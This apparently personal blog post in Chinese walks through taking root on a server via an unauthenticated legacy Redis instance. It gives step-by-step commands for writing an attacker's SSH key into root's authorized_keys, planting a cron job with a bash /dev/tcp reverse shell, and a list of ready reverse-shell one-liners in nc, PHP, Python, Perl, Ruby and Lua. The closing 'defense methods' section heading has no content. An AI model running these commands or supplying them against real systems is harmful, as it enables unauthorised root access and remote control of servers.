/ 城寒 / Linux - Old Redis Security Hole

Linux - Old Redis Security Hole

2018-02-09 posted in [各种]

低版本Redis安全漏洞,标题不知道是否正确 排查出的安全隐患,基本上不会存在了

事件结果

redis被远程登录,所属服务器被获取root权限

事故环境

注:redis 从3.2 开始有protected-mode,如果用默认配置启动只能本机访问,要求需要配置密码或者限定地址。可以避免安全事故发生

攻击方式

目标是获取系统root权限

保存公钥实现免密root登录

  1. 准备本机公钥
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub ;echo -e "\n\n") > pub.txt
    
  2. 将公钥内容保存进redis,由于没有密码又没有限制IP,所以直接就可以登录了。。
    cat pub.txt | ./redis-cli -h 192.168.1.1 -x set pubrsa
    
  3. 登录redis进行操作
    ./redis-cli -h 192.168.1.1
    #### redis
    # 设置保存路径
    config set dir /root/.ssh
    # 修改名称
    config set dbfilename "authorized_keys"
    # 保存数据库全部内容到上述文件
    save
    # 退出redis
    #### linux
    ssh -i id_rsa root@192.168.1.1
    # 即可直接登录
    

实现root权限的反弹Shell

#### redis
# 添加定时任务,主动向攻击者发起链接
config set dir /var/spool/cron
config set dbfilename root
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.2/9999 0>&1\n\n\n"
save
#### linux
nc -l 9999 -v
# 提示:bash: no job control in this shell

反弹Shell原理介绍

bash -i >& /dev/tcp/192.168.1.21/9999 0>&1

利用linux系统一切皆文件的特性,在服务端执行上述命令,服务端主动向攻击端发起请求(角色关系转换),再通过对输入输出的重定向,使得原来应该是输出结果的地方变成能够输入命令。

命令解析

命令 功能
bash -i 用交互模式打开bash,类似在终端中运行了python
>& > 是将标准输出定向到文件,标准错误会将在终端打印。此处添加 & 是将标准错误,重定向到标准输出
/dev/tcp/192.168.1.21/9999 打开或者写入文件,相当于向指定IP端口发起一个socket调用,并将某个内容发送过去。正常的使用方式:Server执行 nc -l 9999 -v 监听9999端口,Client执行 echo “test” > 192.168.1.21/9999,Serve
0>&1 或 0<&1 将标准输入重定向到标准输出,此处是把输入定向到攻击端的监听程序。如果没有这个的话,只能在服务端输入命令,在攻击端显示命令和结果

实现方式

我们知道,上述的命令是不能通过正常渠道到被攻击机器上执行的,如果能直接登录,还反弹shell干啥。。 所以攻击的关键不是这个命令本身,而是如何通过非正常渠道让这个命令或者这种命令在被攻击端运行,上文提到的redis就是一个媒介。 其他的反弹Shell方式,大致原理都和上面的相同,只不过用不同的方式触发。通常网站或者Web服务上会运行脚本语言,容易被攻击,比如python中使用了eval等

  1. nc + 管道方式,通常也需要登录
    • 攻击端监听两个端口,分别运行 nc -l 1234 -v 和 nc -l 4321 -v
    • 服务端运行 nc ip 1234 | /bin/bash | nc ip 4321
    • 则可以在攻击端 1234 端口输入命令,在4321端口看到执行结果
  2. php
    • php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  3. python
    • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  4. perl
    • perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  5. ruby
    • ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  6. lua
    • lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

防御方法